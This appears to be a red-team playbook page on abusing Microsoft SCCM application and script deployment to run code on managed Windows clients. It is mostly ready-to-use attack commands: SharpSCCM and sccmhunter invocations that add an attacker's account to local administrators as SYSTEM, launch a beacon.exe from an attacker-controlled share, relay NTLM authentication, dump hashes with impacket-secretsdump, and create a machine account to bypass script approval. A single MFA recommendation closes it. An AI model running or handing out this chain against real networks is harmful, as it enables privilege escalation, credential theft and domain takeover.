SCCM - Exec

EXEC-1 - Application deployment

EXEC-1 documentation

SCCM allows users with the Full Administrator or Application Administrator to deploy applications located at a specified UNC path to client devices and can select whether they are executed as SYSTEM, as the currently logged in user, or as a specific user (EXEC-1.1). Additionally, an attacker can specify the UNC path of the ntlmrelayx host and forward the user's NTLM authentication to another system where they have administrator privileges (EXEC-1.2).

By default, it will execute the application as the user currently logged into each machine. If a user is not logged in, then the command won't execute. We can force it to execute as SYSTEM using the -s parameter, and this will execute on every machine regardless of whether a user is currently logged in or not.

Confirm that the current domain context has the necessary privileges to define a collection of systems and deploy applications (Full administrator or Application Administrator):

sccmhunter.py admin -u mike -p password! -ip 10.2.10.15 
 
show_admins
show_rbac

EXEC-1.1

Using a full administrator account, execute the following command, which creates a device collection, adds the specified device or user to the collection, creates an application using the specified installation path, deploys the application to the device collection, waits for the deployment to complete (the default is 5 minutes but may need to be increased in large hierarchies), then cleans up the created objects.

• The program/script in the -p parameter will execute in the context of the logged on user. If you want to execute it as SYSTEM use -s.
• If you execute this from a non-SCCM client you need to define -sms <SMS provider> and -sc <site code>.
• Parameter -d should be a SCCM client name and can be retrieved with RECON techniques (for example RECON-4).

.\SharpSCCM.exe exec -p "C:\Windows\System32\cmd.exe /c net localgroup administrators ludus.domain\lowpriv /add" -d SCCM-SITESRV --no-banner -s -sms 10.2.10.15 -sc 123

The example adds our lowpriv domain user to the site server as a local admin, which allows us to perform CRED-5 (if the site server is an SCCM client). As explained, CRED-5 has a good chance of giving us Domain Admin. If CRED-5 does not give you domain admin then you should use the command to add your lowpriv domain user to every SCCM client where DA's have device affinity (see RECON-5):

Alternatively, we can execute a beacon (in context of the logged on user or as SYSTEM) on any SCCM client, example:

.\SharpSCCM.exe exec -p "C:\Windows\System32\cmd.exe /c start /b \\<IP>\<SHARE>\beacon.exe" -d SCCM-SITESRV --no-banner -s -sms 10.2.10.15 -sc 123

After about 5 minutes, confirm the local admin privs on the site server:

Next, you can run secretsdump to get the site server computer account NTLM:

impacket-secretsdump ludus.domain/lowpriv:'password'@10.2.10.15

For the rest of the steps you can just follow the CRED-5 section.

EXEC-1.2

This technique to elicit NTLM authentication is no different than application deployment via EXEC-1.1, except that the installation path of outher malicious application is set to a UNC path on a relay server that the attacker controls. That way, when each SCCM client in the deployment group attempts to install the new application, it sends NTLM authentication to the attacker's listening machine via SMB (or HTTP, if WebClient is enabled). This is advantageous in scenarios where execution of PowerShell or a C2 agent binary is blocked or could result in detection.

EXEC-2 - Script Deployment

EXEC-2 documentation

SCCM allows administrators to create and execute custom scripts on a single device or collection of devices. An attacker could use this technique to execute arbitrary code/commands on a remote client device as SYSTEM.

Obviously you can not just run scripts on all clients with a domain user account. You need either Full Administrator or Operations Administrator permissions, so you would do these attacks (Exec-1 or 2) after a takeover-X attack.

The sccmhunter admin module provides simulated command and control command line access to the SMS Provider's AdminService API:

sccmhunter.py admin -u mike -p password! -ip 10.2.10.15

It is then possible to retrieve information for a client, interact with it and execute commands (see RECON-4):

get_device WORKSTATION
interact <Client ResourceId, for example 16777223>
administrators

On our machine we can create a script (script.txt) that adds our domain user to the local administrators on the target (any SCCM client). We can do anything here, including opening RDP or spawning a revshell etc:

net localgroup administrators ludus.domain\mike /add
net localgroup administrators

Execute from the sccmhunter shell:

script script.txt

This error means that SCCM is configured to require a secondary account for script approval (default setting). If you have access to another domain account you can use that. If not, you can create a computer account (if MachineAccountQuota allows it; by default it does) and use that instead.

Add the computer account used for approval:

impacket-addcomputer -computer-name 'approval$' -computer-pass 'approvalaccount' 'ludus.domain/domainuser:password' -dc-ip 10.2.10.10

Get the computer acccount SID:

ldeep ldap -u domainuser -p password -d ludus.domain -s ldap://10.2.10.10 search '(name=*approval*)' 'objectSid'

Go back to sccmhunter and add the approval computer account as admin (Full Administrator) in SCCM:

sccmhunter.py admin -u mike -p password! -ip 10.2.10.15
add_admin approval$ <SID>

Then continue with the sccmhunter command (-au and -ap parameters for the approval account):

sccmhunter.py admin -u mike -p password! -ip 10.2.10.15 -au 'approval$' -ap 'approvalaccount' -debug

interact <device resource ID>
script script.txt

This way we can get admin privs on any SCCM client.

Alternatively, we can use this (or Exec-1) to add our domain account as a local admin to the site server (if the site server is an SCCM client). At that point, it is possible to perform the CRED-5 attack (see CRED-5 section).

Recommendation:

Enforce MFA for SMS Provider calls, see: https://learn.microsoft.com/en-us/troubleshoot/mem/configmgr/setup-migrate-backup-recovery/enable-mfa-for-sms-provider-calls